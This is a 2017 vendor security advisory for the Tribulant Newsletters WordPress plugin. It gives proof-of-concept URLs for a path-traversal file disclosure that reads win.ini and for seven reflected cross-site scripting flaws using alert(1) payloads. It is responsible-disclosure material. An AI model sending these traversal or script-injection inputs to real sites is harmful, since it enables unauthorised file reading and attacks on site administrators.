DefenseCode

DefenseCode WebScanner DAST Advisory

WordPress Tribulant Newsletters Plugin
Multiple Security Vulnerabilities

WordPress Tribulant Newsletters Plugin – Multiple Security Vulnerabilities	
Advisory ID:	**DC-2017-01-012**
Software:	**WordPress Tribulant Newsletters Plugin**
Software Language:	**PHP**
Version:	**4.6.4.2 and below**
Vendor Status:	**Vendor contacted, update released**
Release Date:	**2017/05/29**
Risk:	**Medium**

1. General Overview

During the security audit of Tribulant Newsletters plugin for WordPress CMS, multiple vulnerabilities were discovered using DefenseCode WebScanner application security analysis platform.

More information about WebScanner is available at URL:
http://www.defensecode.com

2. Software Overview

According to the authors, WordPress Tribulant Newsletters plugin is a full-featured newsletter plugin for WordPress which fulfils all subscribers, emails, marketing and newsletter related needs for both personal and business environments. According to wordpress.org, it has more than 9,000 active installs.

Homepage:
https://wordpress.org/plugins/newsletters-lite/
http://tribulant.com/plugins/view/1/wordpress-newsletter-plugin

3. Vulnerability Description

During the security analysis, WebScanner discovered File Disclosure vulnerability and multiple Cross Site Scripting vulnerabilities in Tribulant Newsletters plugin.

3.1 File Disclosure

Vulnerable Parameter: **$_GET['file']**

Vulnerable URL:

```
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-
history&wpmlmethod=exportdownload&file=..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cWIN
DOWS%5cwin.ini
```

3.2 Cross-Site Scripting

Vulnerable Parameter: **$_GET['method']**

Vulnerable URL:

```
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-subscribers&method=check-
expired%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
```

3.3 Cross-Site Scripting

Vulnerable Parameter: **$_GET['id']**

Vulnerable URL:

```
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-
subscribers&method=view&id=1%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
```

Note:

```
Subscriber id (parameter "id") must exist. Value 1 is a good guess for start ;)
```

3.4 Cross-Site Scripting

Vulnerable Parameter: **$_GET['id']**

Vulnerable URL:

```
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-
lists&method=view&id=1%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
```

3.5 Cross-Site Scripting

Vulnerable Parameter: **$_GET['value']**

Vulnerable URL:

```
http://vulnerablesite.com/wp-admin/admin-
ajax.php?action=newsletters_gauge&value=1});alert(1);</script>
```

3.6 Cross-Site Scripting

Vulnerable Parameter: **$_GET['order']**

Vulnerable URL:

```
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-
history&orderby=theme_id&order=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E
```

3.7 Cross-Site Scripting

Vulnerable Parameter: **$_GET['wpmlsearchterm']**

Vulnerable URL:

```
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-
history&wpmlsearchterm=x%5C%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E
```

3.8 Cross-Site Scripting

Vulnerable Parameter: **$_GET['wpmlmessage']**

Vulnerable URL:

```
http://vulnerablesite.com/wp-admin/admin.php?page=newsletters-
subscribers&wpmlupdated=true&wpmlmessage=%3Cscript%3Ealert%281%29%3C%2Fscript%3E
```

4. Solution

Vendor resolved the security issues after we reported the vulnerabilities. All users are strongly advised to update WordPress Tribulant Newsletters plugin to the latest available version.

5. Credits

Discovered with DefenseCode WebScanner security analyzer by Neven Biruski.

6. Disclosure Timeline

2017/04/04	**Vendor contacted**
2017/04/06	**Vendor responded, update released**
2017/05/29	**Advisory released to the public**

7. About DefenseCode

DefenseCode L.L.C. delivers products and services designed to analyze and test web, desktop and mobile applications for security vulnerabilities.

DefenseCode ThunderScan is a SAST (Static Application Security Testing, WhiteBox Testing) solution for performing extensive security audits of application source code. ThunderScan performs fast and accurate analyses of large and complex source code projects delivering precise results and low false positive rate.

DefenseCode WebScanner is a DAST (Dynamic Application Security Testing, BlackBox Testing) solution for comprehensive security audits of active web applications. WebScanner will test a website's security by carrying out a large number of attacks using the most advanced techniques, just as a real attacker would.

Subscribe for free software trial on our website http://www.defensecode.com

E-mail: defensecode[at]defensecode.com

Website: http://www.defensecode.com
Twitter: https://twitter.com/DefenseCode/